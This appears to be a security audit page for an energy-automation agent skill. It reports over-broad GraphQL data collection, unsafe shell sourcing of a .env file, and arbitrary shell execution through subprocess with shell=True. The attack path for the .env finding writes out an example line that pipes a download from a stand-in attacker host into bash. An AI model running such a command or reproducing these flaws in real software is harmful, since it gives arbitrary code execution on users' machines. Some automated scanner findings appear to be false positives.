Back to skill

Security audit

Tibber Energy

Security checks for vulnerabilities and agentic risk

Overview

The skill has a coherent Tibber energy-automation purpose, but it also loads local configuration unsafely and exposes broad local shell execution for device control.

Review this skill before installing. Use environment variables rather than a project .env file, avoid running it from a shared or untrusted directory, and do not use --execute or on/off command strings unless you fully trust the exact command text. The publisher should remove shell-based .env sourcing, narrow the Tibber GraphQL fields, and replace raw shell commands with scoped smart-home actions.

Vulnerability Patterns
  • Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (2)

T05 · Unauthorized Access and Privilege Escalation

Warning
Location
tibber_energy.py:105
Finding

Price Query Collects Unnecessary Customer Identity and Address Data

Content
View full analysis

Vulnerability Details

File Location: tibber_energy.py, lines 105–126
Vulnerability Type: Excessive sensitive-data collection and violation of least privilege
Risk Level: Medium

Vulnerable Code:

python
QUERY_HOME_PRICES = """
query HomeElectricityPrices {
  viewer {
    homes {
      id
      appNickname
      timeZone
      address {
        address1
        postalCode
        city
      }
      owner {
        firstName
        lastName
        contactInfo {
          email
          mobile
        }
      }

Technical Analysis

The GraphQL query used by price-related operations requests the customer's street address, postal code, city, first and last name, email address, and mobile number. The declared price retrieval, optimization, and threshold-control features do not require most of these fields.

The implementation subsequently uses the home ID, nickname, timezone, city, subscription information, and price data. It does not use address1, postalCode, the owner's name, email address, or mobile number. Requesting those fields therefore exceeds the minimum data access necessary for the operations being performed.

The request is authenticated using the user's Tibber bearer token and is sent to Tibber's official HTTPS API. There is no evidence that the returned personal data is forwarded to an unrelated third party. Nevertheless, retrieving unused sensitive data unnecessarily places it in the process response body and parsed object graph, increasing exposure in the event of debugging, instrumentation, memory inspection, exception handling changes, or a compromised runtime.

Attack Path

  1. A user configures a valid TIBBER_ACCESS_TOKEN.
  2. The user invokes prices, optimize, or control.
  3. fetch_prices() submits QUERY_HOME_PRICES using the bearer token.
  4. Tibber returns customer identity, contact, and detailed address fields in addition to ...[truncated 718 chars]
Remediation
View remediation

Remediation Suggestions

Restrict the GraphQL selection set to fields required by the active feature:

  1. Remove the entire owner selection.
  2. Remove address1 and postalCode.
  3. Remove city unless displaying a city in _home_title() is an explicit functional requirement.
  4. Consider separate, narrowly scoped queries for price retrieval, optimization, and control.
  5. Document precisely which account information each command retrieves.
  6. Add an automated test that rejects identity and contact fields in price-only GraphQL queries.

A minimized home selection could be structured as follows:

python
homes {
  id
  appNickname
  timeZone
  currentSubscription {
    status
    priceInfo {
      # Required price fields only
    }
  }
}

T09 · Insecure Skill Coding Practices

Warning
Location
run.sh:5
Finding

Project-Local Environment File Is Executed as Shell Code

Content
View full analysis

Vulnerability Details

File Location: run.sh, lines 5–9
Vulnerability Type: Arbitrary shell execution through unsafe configuration loading
Risk Level: Medium

Vulnerable Code:

bash
if [[ -f "${ROOT}/.env" ]]; then
  set -a
  # shellcheck disable=SC1091
  source "${ROOT}/.env"
  set +a
fi

Technical Analysis

The wrapper loads .env using the Bash source built-in. Sourcing a file executes it as shell code rather than parsing it as a collection of inert key-value assignments. Consequently, command substitutions, shell functions, redirections, and arbitrary commands placed in .env execute with the privileges of the user running run.sh.

This behavior is unnecessary because tibber_energy.py already contains a non-shell .env parser. The duplicate loading paths also produce inconsistent semantics: content treated as a literal value by the Python parser may be evaluated by Bash first.

The issue constitutes a trusted-file boundary weakness. Exploitation requires an attacker or untrusted distribution process to create or modify the project-local .env. It is not a remote command injection through ordinary CLI arguments.

Attack Path

  1. An attacker gains the ability to supply or alter the project-local .env, such as through an untrusted archive, shared workspace, unsafe synchronization process, or accidental replacement.

  2. The attacker inserts shell syntax into the file, for example:

    bash
    TIBBER_ACCESS_TOKEN=dummy
    curl https://attacker.invalid/payload | bash
    
  3. The user follows the documented workflow and runs bash run.sh prices.

  4. run.sh executes source "${ROOT}/.env".

  5. Bash executes the injected command before starting tibber_energy.py.

Impact Assessment

Successful exploitation provides arbitrary command execution with all privileges of the user invoking the Skill. This may permit access to user-readable files and credentials ...[truncated 286 chars]

Remediation
View remediation

Remediation Suggestions

Remove shell-based .env loading and rely on the existing Python parser:

bash
#!/usr/bin/env bash
set -euo pipefail
ROOT="$(cd "$(dirname "$0")" && pwd)"
exec python3 "${ROOT}/tibber_energy.py" "$@"

Additional hardening should include:

  1. Treat .env strictly as data and reject malformed keys.
  2. Allow only expected variables such as TIBBER_ACCESS_TOKEN and TIBBER_HOME_ID.
  3. Do not evaluate command substitutions, variable expansions, shell functions, or redirections from configuration files.
  4. Check that secret-bearing files have restrictive permissions and warn if they are group- or world-readable.
  5. Keep .env excluded from source control and avoid accepting it from untrusted project bundles.
  6. Add regression tests proving that shell syntax in .env remains inert.
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • System Prompt LeakageDirect Leakage, Indirect Extraction, Tool-Based Exfiltration
  • Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
Findings (19)

Credential Access

High
Category
Privilege Escalation
Confidence
70% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · README.md (reported line 14)May include surrounding context.

md
## Requirements

- Python 3
- Tibber personal access token (`TIBBER_ACCESS_TOKEN`)

## Quick Start

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · README.md (reported line 19)May include surrounding context.

Quick Start

bash
cp .env.example .env
# edit .env with your token
bash run.sh prices --hours 24

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · README.md (reported line 20)May include surrounding context.

bash
cp .env.example .env
# edit .env with your token
bash run.sh prices --hours 24

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · SKILL.md (reported line 40)May include surrounding context.

bash
cp .env.example .env
# edit .env with your token
bash run.sh prices --hours 24

Credential Access

High
Category
Privilege Escalation
Confidence
70% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · SKILL.md (reported line 127)May include surrounding context.

md
## Safety

- Never commit or publish `.env` with real access tokens.
- Keep `--execute` off until threshold logic is verified in dry-run.
- Treat `--on-command` and `--off-command` as trusted input only (they run as shell commands).
- By default the scripts are non-interactive; pass `--prompt-missing-secrets` only when you want to enter credentials interactively.

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 134)May include surrounding context.

md
- Include: `SKILL.md`, `run.sh`, `tibber_energy.py`, `.env.example`, `config.json.example`, `.gitignore`

Credential Access

High
Category
Privilege Escalation
Confidence
97% confidence
Finding

The script uses shell source on ${ROOT}/.env, which executes the file as shell code rather than merely reading configuration values. If an attacker can modify or place that .env file, they can run arbitrary commands with the privileges of the user launching the skill, making this much more dangerous than ordinary credential loading.

Content

Scanner excerpt · run.sh (reported line 5)May include surrounding context.

sh
set -euo pipefail
ROOT="$(cd "$(dirname "$0")" && pwd)"

if [[ -f "${ROOT}/.env" ]]; then
  set -a
  # shellcheck disable=SC1091
  source "${ROOT}/.env"

Credential Access

High
Category
Privilege Escalation
Confidence
95% confidence
Finding

This finding refers to the same unsafe .env handling block: credentials/config are imported via source, so shell expansions, command substitutions, and arbitrary commands inside .env will execute. In the context of a home-energy automation skill that may hold API tokens and trigger smart-home actions, compromise could expose secrets and enable unauthorized automation behavior.

Content

Scanner excerpt · run.sh (reported line 8)May include surrounding context.

sh
if [[ -f "${ROOT}/.env" ]]; then
  set -a
  # shellcheck disable=SC1091
  source "${ROOT}/.env"
  set +a
fi

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · tibber_energy.py (reported line 21)May include surrounding context.

python
def load_local_env_file() -> None:
    env_path = Path(__file__).resolve().parent / ".env"
    if not env_path.exists():
        return
    for raw_line in env_path.read_text(encoding="utf-8").splitlines():

Direct Prompt Extraction

High
Category
System Prompt Leakage
Confidence
85% confidence
Finding

Skill contains instructions that could directly expose system prompts, internal rules, or hidden instructions to users or external parties.

Content

Scanner excerpt · tibber_energy.py (reported line 99)May include surrounding context.

python
return cfg_value

    if prompt_missing:
        return prompt_value(prompt_label, is_secret=is_secret)

    return default

Context-Inappropriate Capability

High
Category
Not specified by scanner
Confidence
98% confidence
Finding

The skill exposes the ability to run arbitrary local shell commands when price thresholds match, which is broader and more dangerous than the declared purpose of triggering smart-home actions. This creates a privilege boundary issue: anyone able to influence skill parameters can turn a pricing helper into a general host command runner.

Content

No source excerpt is available for this finding.

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
99% confidence
Finding

The subprocess invocation is directly parameterized by command text and passed to a shell, so the tool can be abused to execute arbitrary host commands rather than a bounded automation action. In an agent-integrated environment, this dramatically increases danger because natural-language or external inputs may eventually influence those parameters.

Content

Scanner excerpt · tibber_energy.py (reported line 479)May include surrounding context.

python
def run_cmd(label: str, cmd: str, execute: bool):
    print(f"{label}: {cmd}")
    if execute:
        subprocess.run(cmd, shell=True, check=True)


def command_control(args, token, home_id):

Description-Behavior Mismatch

High
Category
Not specified by scanner
Confidence
97% confidence
Finding

The manifest and description imply domain-specific automation, but the implementation performs unrestricted shell execution for on/off actions. That mismatch increases risk because operators may grant trust or permissions appropriate for a price-automation tool without realizing it can execute arbitrary commands on the local machine.

Content

No source excerpt is available for this finding.

Session Persistence

Medium
Category
Rogue Agent
Confidence
60% confidence
Finding

Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.

Content

Scanner excerpt · README.md (reported line 24)May include surrounding context.

bash run.sh prices --hours 24

text

Alternative (recommended for shared installs): create a persisted config file:
`~/.config/tibber-energy/config.json`

```bash

Context-Inappropriate Capability

Medium
Category
Not specified by scanner
Confidence
93% confidence
Finding

The README explicitly documents --on-command and --off-command as arbitrary shell command strings for device control. That creates a command-execution capability broader than merely querying Tibber data, and if untrusted input ever reaches those parameters or users copy unsafe examples, it can lead to arbitrary code execution on the host running the skill.

Content

No source excerpt is available for this finding.

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
90% confidence
Finding

The skill advertises capabilities that include environment access, file reads, network access, and shell execution, but it does not declare any explicit tool scope or permissions boundary. This makes the skill harder to sandbox and review, and increases the chance an agent platform grants broader execution than a user expects, especially given the documented use of shell commands and secrets.

Content

No source excerpt is available for this finding.

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · tibber_energy.py (reported line 17)May include surrounding context.

python
import urllib.request
from datetime import datetime, timezone

API_URL = "https://api.tibber.com/v1-beta/gql"


def load_local_env_file() -> None:

subprocess module call

Medium
Category
Dangerous Code Execution
Confidence
99% confidence
Finding

The code executes a user-supplied string via subprocess.run(..., shell=True), which enables arbitrary shell command execution if the control subcommand is invoked with --execute. In an agent skill context, this is especially dangerous because a feature presented as smart-home control is actually a generic local code-execution primitive on the host system.

Content

Scanner excerpt · tibber_energy.py (reported line 479)May include surrounding context.

python
def run_cmd(label: str, cmd: str, execute: bool):
    print(f"{label}: {cmd}")
    if execute:
        subprocess.run(cmd, shell=True, check=True)


def command_control(args, token, home_id):

Missing User Warnings

Low
Category
Not specified by scanner
Confidence
87% confidence
Finding

This code file sources a .env file and exports its contents into the process environment, which can include sensitive credentials or tokens. There is no confirmation prompt, logging, comment explaining the sensitivity, or other user-facing disclosure about this behavior in the script.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.